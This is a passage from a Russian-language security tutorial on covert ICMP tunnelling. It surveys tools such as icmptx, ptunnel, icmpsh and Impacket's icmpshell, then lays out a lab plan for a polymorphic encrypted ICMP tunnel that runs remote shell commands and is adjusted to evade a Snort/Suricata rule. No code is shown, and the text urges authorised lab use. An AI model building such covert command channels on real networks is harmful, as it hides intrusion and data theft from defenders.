Мы написали свой велосипед. Это важно для понимания. Но в арсенале практика должны быть и готовые, отточенные инструменты.

Практический инструмент №5: Обзор существующих решений.
  1. icmptx (GitHub - jakkarth/icmptx: IP-over-ICMP tunnel)
    • Философия: Прозрачный IP-туннель через ICMP, как VPN. Создаёт виртуальный сетевой интерфейс (tun).
    • Как работает: Инкапсулирует IP-пакеты в ICMP Echo payload. Имеет собственный мини-протокол с заголовками и ACK.
    • Плюсы: Очень эффективен, работает из коробки.
    • Минусы: Сигнатура очень узнаваема для IDS. Использует только Echo.
  2. ptunnel ( )
    • Классика. Аналогичен icmptx, но старше.
  3. Использование SOCKS-прокси через ICMP.
    • Существуют модификации инструментов вроде dsocks, которые могут работать поверх самодельного ICMP-туннеля.
  4. Метод «ICMP Shell»: Не туннель, а оболочка. Инструменты вроде icmpsh отправляют вывод команд внутри ICMP Reply пакетов. Очень скрытно, но интерактивно и медленно.
Практический инструмент №6: Impacket и его icmpshell.
Библиотека Impacket от Core Security - золотая жила. В ней есть пример icmpshell, который использует обратные соединения через ICMP. Изучите его код - это образец инженерной мысли.

Как бы использовал я? Своя сборка на основе Impacket.
Берём за основу надежные низкоуровневые функции Impacket для отправки/приёма сырых пакетов, и нанизываем на них свой протокол с полиморфизмом и шифрованием. Идеальный баланс между «не изобретать колесо» и «иметь полный контроль».


Часть 5: Лабораторная работа. От идеи к работающему прототипу.

Задача: Построить в виртуальной сети (VirtualBox/VMware, например, две машины: Kali и Metasploitable) полиморфный туннель, способный передавать команды shell и возвращать результат.

План:
  1. Среда: Настроить две VM в одном сетевом сегменте (NAT Network или Host-only). Выключить фаерволы для чистоты эксперимента.
  2. Базовый обмен: Запустить наш ghost_listener.py на Metasploitable (сервер), а ghost_ping.py на Kali (клиент). Убедиться, что простой текст проходит.
  3. Добавляем шифрование: Внести общий ключ Fernet в оба скрипта. Проверить.
  4. Внедряем полиморфизм: Модифицировать клиента для отправки каждого фрагмента случайным типом из набора {8, 13, 17}. Сервер должен уметь обрабатывать все три типа.
  5. Реализуем простую shell: На сервере, вместо печати сообщения, выполнять команду через subprocess и возвращать первые N байт вывода.
  6. Тестируем на детекцию: Запустить Wireshark на отдельном интерфейсе или на хосте. Сравнить трафик нашего туннеля с обычным ping-флудом. Найти отличия. Попробовать написать простое правило для Suricata или Snort, которое бы ловило наш конкретный туннель (по ID, по размеру). Затем изменить параметры туннеля, чтобы обойти это правило.
  7. Усложняем: Попробовать реализовать фрагментацию большого вывода (например, ls -la /usr/bin). Добавить номера фрагментов в поле Sequence Number.
Это займёт не один вечер. Но в конце вы получите не просто скрипт, а глубокое интуитивное понимание процесса. Вы будете видеть ICMP-трафик не как набор пингов, а как потенциальный носитель информации.


Этические границы и будущее.

Мы много говорили о технике. Но зачем? Не для того, чтобы ломать, а чтобы понимать. Понимание механизмов скрытности делает вас лучшим защитником. Вы не сможете найти то, о существовании чего не подозреваете.
  • Не применяйте это на сетях, которыми вы не управляете или на которые у вас нет явного письменного разрешения. Точка.
  • Ваша лаборатория - ваше королевство. Там можно всё.
  • Это знание - сила. Используйте её ответственно. Например, для построения резервных каналов управления в критической инфраструктуре (с разрешения!) или для аудита собственных периметров на предмет подобных уязвимостей.
Будущее:

ICMP-стеганография стара как мир. Но с приходом IPv6, с его более сложным ICMPv6 (Neighbor Discovery, Multicast Listener Discovery), открываются новые, ещё более широкие поля для экспериментов. Типы ICMPv6 имеют другую семантику, и аналитики ещё не привыкли к его нормальному трафику, не то что к аномальному.

Также растёт интерес к стеганографии в легитимных, но «скучных» протоколах: DNS (уже приелось), HTTP/2, TLS handshake, даже в коде ошибок 404 страниц. Принцип тот же: найти неиспользуемое или слабо инспектируемое поле и наполнить его смыслом.


Заключение. Дзен-мастер и пинг.

Когда-то давно, когда сеть была молодой, а протоколы - простыми, отправка данных через ICMP была трюком, фокусом. Сегодня это - медитация. Это напоминание о том, что сложность системы рождает слепые пятна. Что стандарты написаны людьми и для людей, и в них всегда есть место для интерпретации.

Сидя перед терминалом, собирая пакет байт за байтом, ты не хакер-взломщик. Ты - художник, использующий сеть как холст, а протоколы - как краски. Ты понимаешь язык железа и siliconа лучше, чем язык людей. И в этой тишине, в пространстве между эхом запроса и ответа, рождается настоящее мастерство.

Не гонись за объёмом трафика. Гонись за его невидимостью. Не стремись быть быстрым. Стремись быть тихим. И помни: самый совершенный канал - тот, о существовании которого не подозревает никто, кроме тех, кто в нём нуждается.
 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab